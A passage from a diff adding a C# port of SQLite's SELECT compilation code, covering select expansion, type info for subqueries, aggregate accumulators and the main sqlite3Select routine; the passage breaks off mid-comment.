} + + /* + ** This routine "expands" a SELECT statement and all of its subqueries. + ** For additional information on what it means to "expand" a SELECT + ** statement, see the comment on the selectExpand worker callback above. + ** + ** Expanding a SELECT statement is the first step in processing a + ** SELECT statement. The SELECT statement must be expanded before + ** name resolution is performed. + ** + ** If anything goes wrong, an error message is written into pParse. + ** The calling function can detect the problem by looking at pParse.nErr + ** and/or pParse.db.mallocFailed. + */ + static void sqlite3SelectExpand( Parse pParse, Select pSelect ) + { + Walker w = new Walker(); + w.xSelectCallback = selectExpander; + w.xExprCallback = exprWalkNoop; + w.pParse = pParse; + sqlite3WalkSelect( w, pSelect ); + } + + +#if !SQLITE_OMIT_SUBQUERY + /* +** This is a Walker.xSelectCallback callback for the sqlite3SelectTypeInfo() +** interface. +** +** For each FROM-clause subquery, add Column.zType and Column.zColl +** information to the Table ure that represents the result set +** of that subquery. +** +** The Table ure that represents the result set was coned +** by selectExpander() but the type and collation information was omitted +** at that point because identifiers had not yet been resolved. This +** routine is called after identifier resolution. +*/ + static int selectAddSubqueryTypeInfo( Walker pWalker, Select p ) + { + Parse pParse; + int i; + SrcList pTabList; + SrcList_item pFrom; + + Debug.Assert( ( p.selFlags & SF_Resolved ) != 0 ); + Debug.Assert( ( p.selFlags & SF_HasTypeInfo ) == 0 ); + p.selFlags |= SF_HasTypeInfo; + pParse = pWalker.pParse; + pTabList = p.pSrc; + for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab = pFrom.pTab; + if ( ALWAYS( pTab != null ) && ( pTab.tabFlags & TF_Ephemeral ) != 0 ) + { + /* A sub-query in the FROM clause of a SELECT */ + Select pSel = pFrom.pSelect; + Debug.Assert( pSel != null ); + while ( pSel.pPrior != null ) pSel = pSel.pPrior; + selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSel ); + } + } + return WRC_Continue; + } +#endif + + + /* +** This routine adds datatype and collating sequence information to +** the Table ures of all FROM-clause subqueries in a +** SELECT statement. +** +** Use this routine after name resolution. +*/ + static void sqlite3SelectAddTypeInfo( Parse pParse, Select pSelect ) + { +#if !SQLITE_OMIT_SUBQUERY + Walker w = new Walker(); + w.xSelectCallback = selectAddSubqueryTypeInfo; + w.xExprCallback = exprWalkNoop; + w.pParse = pParse; + sqlite3WalkSelect( w, pSelect ); +#endif + } + + + /* + ** This routine sets of a SELECT statement for processing. The + ** following is accomplished: + ** + ** * VDBE VdbeCursor numbers are assigned to all FROM-clause terms. + ** * Ephemeral Table objects are created for all FROM-clause subqueries. + ** * ON and USING clauses are shifted into WHERE statements + ** * Wildcards "*" and "TABLE.*" in result sets are expanded. + ** * Identifiers in expression are matched to tables. + ** + ** This routine acts recursively on all subqueries within the SELECT. + */ + static void sqlite3SelectPrep( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + NameContext pOuterNC /* Name context for container */ + ) + { + sqlite3 db; + if ( NEVER( p == null ) ) return; + db = pParse.db; + if ( ( p.selFlags & SF_HasTypeInfo ) != 0 ) return; + sqlite3SelectExpand( pParse, p ); + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; + sqlite3ResolveSelectNames( pParse, p, pOuterNC ); + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; + sqlite3SelectAddTypeInfo( pParse, p ); + } + + /* + ** Reset the aggregate accumulator. + ** + ** The aggregate accumulator is a set of memory cells that hold + ** intermediate results while calculating an aggregate. This + ** routine simply stores NULLs in all of those memory cells. + */ + static void resetAccumulator( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pFunc; + if ( pAggInfo.nFunc + pAggInfo.nColumn == 0 ) + { + return; + } + for ( i = 0 ; i < pAggInfo.nColumn ; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, pAggInfo.aCol[i].iMem ); + } + for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) + {//, pFunc++){ + pFunc = pAggInfo.aFunc[i]; + sqlite3VdbeAddOp2( v, OP_Null, 0, pFunc.iMem ); + if ( pFunc.iDistinct >= 0 ) + { + Expr pE = pFunc.pExpr; + Debug.Assert( !ExprHasProperty( pE, EP_xIsSelect ) ); + if ( pE.x.pList == null || pE.x.pList.nExpr != 1 ) + { + sqlite3ErrorMsg( pParse, "DISTINCT aggregates must have exactly one " + + "argument" ); + pFunc.iDistinct = -1; + } + else + { + KeyInfo pKeyInfo = keyInfoFromExprList( pParse, pE.x.pList ); + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, pFunc.iDistinct, 0, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + } + } + } + } + + /* + ** Invoke the OP_AggFinalize opcode for every aggregate function + ** in the AggInfo structure. + */ + static void finalizeAggFunctions( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pF; + for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) + {//, pF++){ + pF = pAggInfo.aFunc[i]; + ExprList pList = pF.pExpr.x.pList; + Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); + sqlite3VdbeAddOp4( v, OP_AggFinal, pF.iMem, pList != null ? pList.nExpr : 0, 0, + pF.pFunc, P4_FUNCDEF ); + } + } + + /* + ** Update the accumulator memory cells for an aggregate based on + ** the current cursor position. + */ + static void updateAccumulator( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pF; + AggInfo_col pC; + + pAggInfo.directMode = 1; + sqlite3ExprCacheClear( pParse ); + for ( i = 0 ; i < pAggInfo.nFunc ; i++ ) + {//, pF++){ + pF = pAggInfo.aFunc[i]; + int nArg; + int addrNext = 0; + int regAgg; + Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); + ExprList pList = pF.pExpr.x.pList; + if ( pList != null ) + { + nArg = pList.nExpr; + regAgg = sqlite3GetTempRange( pParse, nArg ); + sqlite3ExprCodeExprList( pParse, pList, regAgg, false ); + } + else + { + nArg = 0; + regAgg = 0; + } + if ( pF.iDistinct >= 0 ) + { + addrNext = sqlite3VdbeMakeLabel( v ); + Debug.Assert( nArg == 1 ); + codeDistinct( pParse, pF.iDistinct, addrNext, 1, regAgg ); + } + if ( ( pF.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) + { + CollSeq pColl = null; + ExprList_item pItem; + int j; + Debug.Assert( pList != null ); /* pList!=0 if pF->pFunc has NEEDCOLL */ + for ( j = 0 ; pColl == null && j < nArg ; j++ ) + {//, pItem++){ + pItem = pList.a[j]; + pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); + } + if ( pColl == null ) + { + pColl = pParse.db.pDfltColl; + } + sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); + } + sqlite3VdbeAddOp4( v, OP_AggStep, 0, regAgg, pF.iMem, + pF.pFunc, P4_FUNCDEF ); + sqlite3VdbeChangeP5( v, (u8)nArg ); + sqlite3ReleaseTempRange( pParse, regAgg, nArg ); + sqlite3ExprCacheAffinityChange( pParse, regAgg, nArg ); + if ( addrNext != 0 ) + { + sqlite3VdbeResolveLabel( v, addrNext ); + sqlite3ExprCacheClear( pParse ); + } + } + for ( i = 0 ; i < pAggInfo.nAccumulator ; i++ )//, pC++) + { + pC = pAggInfo.aCol[i]; + sqlite3ExprCode( pParse, pC.pExpr, pC.iMem ); + } + pAggInfo.directMode = 0; + sqlite3ExprCacheClear( pParse ); + } + + /* + ** Generate code for the SELECT statement given in the p argument. + ** + ** The results are distributed in various ways depending on the + ** contents of the SelectDest structure pointed to by argument pDest + ** as follows: + ** + ** pDest.eDest Result + ** ------------ ------------------------------------------- + ** SRT_Output Generate a row of output (using the OP_ResultRow + ** opcode) for each row in the result set. + ** + ** SRT_Mem Only valid if the result is a single column. + ** Store the first column of the first result row + ** in register pDest.iParm then abandon the rest + ** of the query. This destination implies "LIMIT 1". + ** + ** SRT_Set The result must be a single column. Store each + ** row of result as the key in table pDest.iParm. + ** Apply the affinity pDest.affinity before storing + ** results. Used to implement "IN (SELECT ...)". + ** + ** SRT_Union Store results as a key in a temporary table pDest.iParm. + ** + ** SRT_Except Remove results from the temporary table pDest.iParm. + ** + ** SRT_Table Store results in temporary table pDest.iParm. + ** This is like SRT_EphemTab except that the table + ** is assumed to already be open. + ** + ** SRT_EphemTab Create an temporary table pDest.iParm and store + ** the result there. The cursor is left open after + ** returning. This is like SRT_Table except that + ** this destination uses OP_OpenEphemeral to create + ** the table first. + ** + ** SRT_Coroutine Generate a co-routine that returns a new row of + ** results each time it is invoked. The entry point + ** of the co-routine is stored in register pDest.iParm. + ** + ** SRT_Exists Store a 1 in memory cell pDest.iParm if the result + ** set is not empty. + ** + ** SRT_Discard Throw the results away. This is used by SELECT + ** statements within triggers whose only purpose is + ** the side-effects of functions. + ** + ** This routine returns the number of errors. If any errors are + ** encountered, then an appropriate error message is left in + ** pParse.zErrMsg. + ** + ** This routine does NOT free the Select structure passed in. The + ** calling function needs to do that. + */ + static SelectDest sdDummy = null; + static bool bDummy = false; + + static int sqlite3Select( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + ref SelectDest pDest /* What to do with the query results */ + ) + { + int i, j; /* Loop counters */ + WhereInfo pWInfo; /* Return from sqlite3WhereBegin() */ + Vdbe v; /* The virtual machine under construction */ + bool isAgg; /* True for select lists like "count(*)" */ + ExprList pEList = new ExprList(); /* List of columns to extract. */ + SrcList pTabList = new SrcList(); /* List of tables to select from */ + Expr pWhere; /* The WHERE clause. May be NULL */ + ExprList pOrderBy; /* The ORDER BY clause. May be NULL */ + ExprList pGroupBy; /* The GROUP BY clause. May be NULL */ + Expr pHaving; /* The HAVING clause. May be NULL */ + bool isDistinct; /* True if the DISTINCT keyword is present */ + int distinct; /* Table to use for the distinct set */ + int rc = 1; /* Value to return from this function */ + int addrSortIndex; /* Address of an OP_OpenEphemeral instruction */ + AggInfo sAggInfo; /* Information used by aggregate queries */ + int iEnd; /* Address of the end of the query */ + sqlite3 db; /* The database connection */ + + db = pParse.db; + if ( p == null /*|| db.mallocFailed != 0 */ || pParse.nErr != 0 ) + { + return 1; + } +#if !SQLITE_OMIT_AUTHORIZATION +if (sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0)) return 1; +#endif + sAggInfo = new AggInfo();// memset(sAggInfo, 0, sAggInfo).Length; + + if ( pDest.eDest <= SRT_Discard ) //IgnorableOrderby(pDest)) + { + Debug.Assert( pDest.eDest == SRT_Exists || pDest.eDest == SRT_Union || + pDest.eDest == SRT_Except || pDest.eDest == SRT_Discard ); + /* If ORDER BY makes no difference in the output then neither does + ** DISTINCT so it can be removed too. */ + sqlite3ExprListDelete( db, ref p.pOrderBy ); + p.pOrderBy = null; + p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); + } + sqlite3SelectPrep( pParse, p, null ); + pOrderBy = p.pOrderBy; + pTabList = p.pSrc; + pEList = p.pEList; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto select_end; + } + isAgg = ( p.selFlags & SF_Aggregate ) != 0; + Debug.Assert( pEList != null ); + + /* Begin generating code. + */ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) goto select_end; + + /* Generate code for all sub-queries in the FROM clause + */ +#if !SQLITE_OMIT_SUBQUERY || !SQLITE_OMIT_VIEW + for ( i = 0 ; p.pPrior == null && i < pTabList.nSrc ; i++ ) + { + SrcList_item pItem = pTabList.a[i]; + SelectDest dest = new SelectDest(); + Select pSub = pItem.pSelect; + bool isAggSub; + + if ( pSub == null || pItem.isPopulated != 0 ) continue; + + /* Increment Parse.nHeight by the height of the largest expression + ** tree refered to by this, the parent select. The child select + ** may contain expression trees of at most + ** (SQLITE_MAX_EXPR_DEPTH-Parse.nHeight) height. This is a bit + ** more conservative than necessary, but much easier than enforcing + ** an exact limit. + */ + pParse.nHeight += sqlite3SelectExprHeight( p ); + + /* Check to see if the subquery can be absorbed into the parent. */ + isAggSub = ( pSub.selFlags & SF_Aggregate ) != 0; + if ( flattenSubquery( pParse, p, i, isAgg, isAggSub ) != 0 ) + { + if ( isAggSub ) + { + isAgg = true; + p.selFlags |= SF_Aggregate; + } + i = -1; + } + else + { + sqlite3SelectDestInit( dest, SRT_EphemTab, pItem.iCursor ); + Debug.Assert( 0 == pItem.isPopulated ); + sqlite3Select( pParse, pSub, ref dest ); + pItem.isPopulated = 1; + } + //if ( /* pParse.nErr != 0 || */ db.mallocFailed != 0 ) + //{ + // goto select_end; + //} + pParse.nHeight -= sqlite3SelectExprHeight( p ); + pTabList = p.pSrc; + if ( !( pDest.eDest <= SRT_Discard ) )// if( !IgnorableOrderby(pDest) ) + { + pOrderBy = p.pOrderBy; + } + } + pEList = p.pEList; +#endif + pWhere = p.pWhere; + pGroupBy = p.pGroupBy; + pHaving = p.pHaving; + isDistinct = ( p.selFlags & SF_Distinct ) != 0; + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* If there is are a sequence of queries, do the earlier ones first. +*/ + if ( p.pPrior != null ) + { + if ( p.pRightmost == null ) + { + Select pLoop, pRight = null; + int cnt = 0; + int mxSelect; + for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior, cnt++ ) + { + pLoop.pRightmost = p; + pLoop.pNext = pRight; + pRight = pLoop; + } + mxSelect = db.aLimit[SQLITE_LIMIT_COMPOUND_SELECT]; + if ( mxSelect != 0 && cnt > mxSelect ) + { + sqlite3ErrorMsg( pParse, "too many terms in compound SELECT" ); + return 1; + } + } + return multiSelect( pParse, p, pDest ); + } +#endif + + /* If writing to memory or generating a set +** only a single column may be output. +*/ +#if !SQLITE_OMIT_SUBQUERY + if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) ) + { + goto select_end; + } +#endif + /* If possible, rewrite the query to use GROUP BY instead of DISTINCT. +** GROUP BY might use an index, DISTINCT never does. +*/ + Debug.Assert( p.pGroupBy == null || ( p.selFlags & SF_Aggregate ) != 0 ); + if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ) + { + p.pGroupBy = sqlite3ExprListDup( db, p.pEList, 0 ); + pGroupBy = p.pGroupBy; + p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); + isDistinct = false; + } + + /* If there is an ORDER BY clause, then this sorting + ** index might end up being unused if the data can be + ** extracted in pre-sorted order. If that is the case, then the + ** OP_OpenEphemeral instruction will be changed to an OP_Noop once + ** we figure out that the sorting index is not needed. The addrSortIndex + ** variable is used to facilitate that change. + */ + if ( pOrderBy != null ) + { + KeyInfo pKeyInfo; + pKeyInfo = keyInfoFromExprList( pParse, pOrderBy ); + pOrderBy.iECursor = pParse.nTab++; + p.addrOpenEphm[2] = addrSortIndex = + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, + pOrderBy.iECursor, pOrderBy.nExpr + 2, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + } + else + { + addrSortIndex = -1; + } + + /* If the output is destined for a temporary table, open that table. + */ + if ( pDest.eDest == SRT_EphemTab ) + { + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, pDest.iParm, pEList.nExpr ); + } + + /* Set the limiter. + */ + iEnd = sqlite3VdbeMakeLabel( v ); + computeLimitRegisters( pParse, p, iEnd ); + + /* Open a virtual index to use for the distinct set. + */ + if ( isDistinct ) + { + KeyInfo pKeyInfo; + Debug.Assert( isAgg || pGroupBy != null ); + distinct = pParse.nTab++; + pKeyInfo = keyInfoFromExprList( pParse, p.pEList ); + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, distinct, 0, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + } + else + { + distinct = -1; + } + + /* Aggregate and non-aggregate queries are handled differently */ + if ( !isAgg && pGroupBy == null ) + { + /* This case is for non-aggregate queries + ** Begin the database scan + */ + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pOrderBy, 0 ); + if ( pWInfo == null ) goto select_end; + + /* If sorting index that was created by a prior OP_OpenEphemeral + ** instruction ended up not being needed, then change the OP_OpenEphemeral + ** into an OP_Noop. + */ + if ( addrSortIndex >= 0 && pOrderBy == null ) + { + sqlite3VdbeChangeToNoop( v, addrSortIndex, 1 ); + p.addrOpenEphm[2] = -1; + } + + /* Use the standard inner loop + */ + Debug.Assert( !isDistinct ); + selectInnerLoop( pParse, p, pEList, 0, 0, pOrderBy, -1, pDest, + pWInfo.iContinue, pWInfo.iBreak ); + + /* End the database scan loop. + */ + sqlite3WhereEnd( pWInfo ); + } + else + { + /* This is the processing for aggregate queries */ + NameContext sNC; /* Name context for processing aggregate information */ + int iAMem; /* First Mem address for storing current GROUP BY */ + int iBMem; /* First Mem address for previous GROUP BY */ + int iUseFlag; /* Mem address holding flag indicating that at least +** one row of the input to the aggregator has been +** processed */ + int iAbortFlag; /* Mem address which causes query abort if positive */ + int groupBySort; /* Rows come from source in GR BY' clause thanROUP BY order */ + + int addrEnd; /* End of processing for this SELECT */ + + /* Remove any and all aliases between the result set and the + ** GROUP BY clause. + */ + if ( pGroupBy != null ) + { + int k; /* Loop counter */ + ExprList_item pItem; /* For looping over expression in a list */ + + for ( k = p.pEList.nExpr ; k > 0 ; k-- )//, pItem++) + { + pItem = p.pEList.a[p.pEList.nExpr - k]; + pItem.iAlias = 0; + } + for ( k = pGroupBy.nExpr ; k > 0 ; k-- )//, pItem++ ) + { + pItem = pGroupBy.a[pGroupBy.nExpr - k]; + pItem.iAlias = 0; + } + } + + /* Create a label to jump to when we want to abort the query */ + addrEnd = sqlite3VdbeMakeLabel( v ); + + /* Convert TK_COLUMN nodes into TK_AGG_COLUMN and make entries in + ** sAggInfo for all TK_AGG_FUNCTION nodes in expressions of the + ** SELECT statement. + */ + sNC = new NameContext(); // memset(sNC, 0, sNC).Length; + sNC.pParse = pParse; + sNC.pSrcList = pTabList; + sNC.pAggInfo = sAggInfo; + sAggInfo.nSortingColumn = pGroupBy != null ? pGroupBy.nExpr + 1 : 0; + sAggInfo.pGroupBy = pGroupBy; + sqlite3ExprAnalyzeAggList( sNC, pEList ); + sqlite3ExprAnalyzeAggList( sNC, pOrderBy ); + if ( pHaving != null ) + { + sqlite3ExprAnalyzeAggregates( sNC, ref pHaving ); + } + sAggInfo.nAccumulator = sAggInfo.nColumn; + for ( i = 0 ; i < sAggInfo.nFunc ; i++ ) + { + Debug.Assert( !ExprHasProperty( sAggInfo.aFunc[i].pExpr, EP_xIsSelect ) ); + sqlite3ExprAnalyzeAggList( sNC, sAggInfo.aFunc[i].pExpr.x.pList ); + } + // if ( db.mallocFailed != 0 ) goto select_end; + + /* Processing for aggregates with GROUP BY is very different and + ** much more complex than aggregates without a GROUP BY. + */ + if ( pGroupBy != null ) + { + KeyInfo pKeyInfo; /* Keying information for the group by clause */ + int j1; /* A-vs-B comparision jump */ + int addrOutputRow; /* Start of subroutine that outputs a result row */ + int regOutputRow; /* Return address register for output subroutine */ + int addrSetAbort; /* Set the abort flag and return */ + int addrTopOfLoop; /* Top of the input loop */ + int addrSortingIdx; /* The OP_OpenEphemeral for the sorting index */ + int addrReset; /* Subroutine for resetting the accumulator */ + int regReset; /* Return address register for reset subroutine */ + + /* If there is a GROUP BY clause we might need a sorting index to + ** implement it. Allocate that sorting index now. If it turns out + ** that we do not need it after all, the OpenEphemeral instruction + ** will be converted into a Noop. + */ + sAggInfo.sortingIdx = pParse.nTab++; + pKeyInfo = keyInfoFromExprList( pParse, pGroupBy ); + addrSortingIdx = sqlite3VdbeAddOp4( v, OP_OpenEphemeral, + sAggInfo.sortingIdx, sAggInfo.nSortingColumn, + 0, pKeyInfo, P4_KEYINFO_HANDOFF ); + + /* Initialize memory locations used by GROUP BY aggregate processing + */ + iUseFlag = ++pParse.nMem; + iAbortFlag = ++pParse.nMem; + regOutputRow = ++pParse.nMem; + addrOutputRow = sqlite3VdbeMakeLabel( v ); + regReset = ++pParse.nMem; + addrReset = sqlite3VdbeMakeLabel( v ); + iAMem = pParse.nMem + 1; + pParse.nMem += pGroupBy.nExpr; + iBMem = pParse.nMem + 1; + pParse.nMem += pGroupBy.nExpr; + sqlite3VdbeAddOp2( v, OP_Integer, 0, iAbortFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "clear abort flag" ); +#endif + sqlite3VdbeAddOp2( v, OP_Integer, 0, iUseFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "indicate accumulator empty" ); +#endif + + /* Begin a loop that will extract all source rows in GROUP BY order. +** This might involve two separate loops with an OP_Sort in between, or +** it might be a single loop that uses an index to extract information +** in the right order to begin with. +*/ + sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pGroupBy, 0 ); + if ( pWInfo == null ) goto select_end; + if ( pGroupBy == null ) + { + /* The optimizer is able to deliver rows in group by order so + ** we do not have to sort. The OP_OpenEphemeral table will be + ** cancelled later because we still need to use the pKeyInfo + */ + pGroupBy = p.pGroupBy; + groupBySort = 0; + } + else + { + /* Rows are coming out in undetermined order. We have to push + ** each row into a sorting index, terminate the first loop, + ** then loop over the sorting index in order to get the output + ** in sorted order + */ + int regBase; + int regRecord; + int nCol; + int nGroupBy; + + groupBySort = 1; + nGroupBy = pGroupBy.nExpr; + nCol = nGroupBy + 1; + j = nGroupBy + 1; + for ( i = 0 ; i < sAggInfo.nColumn ; i++ ) + { + if ( sAggInfo.aCol[i].iSorterColumn >= j ) + { + nCol++; + j++; + } + } + regBase = sqlite3GetTempRange( pParse, nCol ); + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pGroupBy, regBase, false ); + sqlite3VdbeAddOp2( v, OP_Sequence, sAggInfo.sortingIdx, regBase + nGroupBy ); + j = nGroupBy + 1; + for ( i = 0 ; i < sAggInfo.nColumn ; i++ ) + { + AggInfo_col pCol = sAggInfo.aCol[i]; + if ( pCol.iSorterColumn >= j ) + { + int r1 = j + regBase; + int r2; + r2 = sqlite3ExprCodeGetColumn( pParse, + pCol.pTab, pCol.iColumn, pCol.iTable, r1, false ); + if ( r1 != r2 ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, r2, r1 ); + } + j++; + } + } + regRecord = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol, regRecord ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, sAggInfo.sortingIdx, regRecord ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3ReleaseTempRange( pParse, regBase, nCol ); + sqlite3WhereEnd( pWInfo ); + sqlite3VdbeAddOp2( v, OP_Sort, sAggInfo.sortingIdx, addrEnd ); +#if SQLITE_DEBUG + VdbeComment( v, "GROUP BY sort" ); +#endif + sAggInfo.useSortingIdx = 1; + sqlite3ExprCacheClear( pParse ); + } + + /* Evaluate the current GROUP BY terms and store in b0, b1, b2... + ** (b0 is memory location iBMem+0, b1 is iBMem+1, and so forth) + ** Then compare the current GROUP BY terms against the GROUP BY terms + ** from the previous row currently stored in a0, a1, a2... + */ + addrTopOfLoop = sqlite3VdbeCurrentAddr( v ); + sqlite3ExprCacheClear( pParse ); + for ( j = 0 ; j < pGroupBy.nExpr ; j++ ) + { + if ( groupBySort != 0 ) + { + sqlite3VdbeAddOp3( v, OP_Column, sAggInfo.sortingIdx, j, iBMem + j ); + } + else + { + sAggInfo.directMode = 1; + sqlite3ExprCode( pParse, pGroupBy.a[j].pExpr, iBMem + j ); + } + } + sqlite3VdbeAddOp4( v, OP_Compare, iAMem, iBMem, pGroupBy.nExpr, + pKeyInfo, P4_KEYINFO ); + j1 = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp3( v, OP_Jump, j1 + 1, 0, j1 + 1 ); + + /* Generate code that runs whenever the GROUP BY changes. + ** Changes in the GROUP BY are detected by the previous code + ** block. If there were no changes, this block is skipped. + ** + ** This code copies current group by terms in b0,b1,b2,... + ** over to a0,a1,a2. It then calls the output subroutine + ** and resets the aggregate accumulator registers in preparation + ** for the next GROUP BY batch. + */ + sqlite3ExprCodeMove( pParse, iBMem, iAMem, pGroupBy.nExpr ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); +#if SQLITE_DEBUG + VdbeComment( v, "output one row" ); +#endif + sqlite3VdbeAddOp2( v, OP_IfPos, iAbortFlag, addrEnd ); +#if SQLITE_DEBUG + VdbeComment( v, "check abort flag" ); +#endif + sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); +#if SQLITE_DEBUG + VdbeComment( v, "reset accumulator" ); +#endif + + /* Update the aggregate accumulators based on the content of +** the current row +*/ + sqlite3VdbeJumpHere( v, j1 ); + updateAccumulator( pParse, sAggInfo ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iUseFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "indicate data in accumulator" ); +#endif + /* End of the loop +*/ + if ( groupBySort != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Next, sAggInfo.sortingIdx, addrTopOfLoop ); + } + else + { + sqlite3WhereEnd( pWInfo ); + sqlite3VdbeChangeToNoop( v, addrSortingIdx, 1 ); + } + + /* Output the final row of result + */ + sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); +#if SQLITE_DEBUG + VdbeComment( v, "output final row" ); +#endif + /* Jump over the subroutines +*/ + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEnd ); + + /* Generate a subroutine that outputs a single row of the result + ** set. This subroutine first looks at the iUseFlag. If iUseFlag + ** is less than or equal to zero, the subroutine is a no-op. If + ** the processing calls for the query to abort, this subroutine + ** increments the iAbortFlag memory location before returning in + ** order to signal the caller to abort. + */ + addrSetAbort = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iAbortFlag ); + VdbeComment( v, "set abort flag" ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + sqlite3VdbeResolveLabel( v, addrOutputRow ); + addrOutputRow = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_IfPos, iUseFlag, addrOutputRow + 2 ); + VdbeComment( v, "Groupby result generator entry point" ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + finalizeAggFunctions( pParse, sAggInfo ); + sqlite3ExprIfFalse( pParse, pHaving, addrOutputRow + 1, SQLITE_JUMPIFNULL ); + selectInnerLoop( pParse, p, p.pEList, 0, 0, pOrderBy, + distinct, pDest, + addrOutputRow + 1, addrSetAbort ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + VdbeComment( v, "end groupby result generator" ); + + /* Generate a subroutine that will reset the group-by accumulator + */ + sqlite3VdbeResolveLabel( v, addrReset ); + resetAccumulator( pParse, sAggInfo ); + sqlite3VdbeAddOp1( v, OP_Return, regReset ); + + } /* endif pGroupBy. Begin aggregate queries without GROUP BY: */ + else + { + ExprList pDel = null; +#if !SQLITE_OMIT_BTREECOUNT + Table pTab; + if ( ( pTab = isSimpleCount( p, sAggInfo ) ) != null ) + { + /* If isSimpleCount() returns a pointer to a Table structure, then + ** the SQL statement is of the form: + ** + ** SELECT count(*) FROM + ** + ** where the Table structure returned represents table . + ** + ** This statement is so common that it is optimized specially. The + ** OP_Count instruction is executed either on the intkey table that + ** contains the data for table or on one of its indexes. It + ** is better to execute the op on an index, as indexes are almost + ** always spread across less pages than their corresponding tables. + */ + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + int iCsr = pParse.nTab++; /* Cursor to scan b-tree */ + Index pIdx; /* Iterator variable */ + KeyInfo pKeyInfo = null; /* Keyinfo for scanned index */ + Index pBest = null; /* Best index found so far */ + int iRoot = pTab.tnum; /* Root page of scanned b-tree */ + + sqlite3CodeVerifySchema( pParse, iDb ); + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + /* Search for the index that has the least amount of columns. If + ** there is such an index, and it has less columns than the table + ** does, then we can assume that it consumes less space on disk and + ** will therefore be cheaper to scan to determine the query result. + ** In this case set iRoot to the root page number of the index b-tree + ** and pKeyInfo to the KeyInfo structure required to navigate the + ** index. + ** + ** In practice the KeyInfo structure will not be used. It is only + ** passed to keep OP_OpenRead happy. + */ + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + if ( null == pBest || pIdx.nColumn < pBest.nColumn ) + { + pBest = pIdx; + } + } + if ( pBest != null && pBest.nColumn < pTab.nCol ) + { + iRoot = pBest.tnum; + pKeyInfo = sqlite3IndexKeyinfo( pParse, pBest ); + } + + /* Open a read-only cursor, execute the OP_Count, close the cursor. */ + sqlite3VdbeAddOp3( v, OP_OpenRead, iCsr, iRoot, iDb ); + if ( pKeyInfo != null ) + { + sqlite3VdbeChangeP4( v, -1, pKeyInfo, P4_KEYINFO_HANDOFF ); + } + sqlite3VdbeAddOp2( v, OP_Count, iCsr, sAggInfo.aFunc[0].iMem ); + sqlite3VdbeAddOp1( v, OP_Close, iCsr ); + } + else +#endif //* SQLITE_OMIT_BTREECOUNT */ + { + + /* Check if the query is of one of the following forms: + ** + ** SELECT min(x) FROM ... + ** SELECT max(x) FROM ... + ** + ** If it is, then ask the code in where.c to attempt to sort results + ** as if there was an "ORDER ON x" or "ORDER ON x DESC" clause. + ** If where.c is able to produce results sorted in this order, then + ** add vdbe code to break out of the processing loop after the + ** first iteration (since the first iteration of the loop is + ** guaranteed to operate on the row with the minimum or maximum + ** value of x, the only row required). + ** + ** A special flag must be passed to sqlite3WhereBegin() to slightly + ** modify behavior as follows: + ** + ** + If the 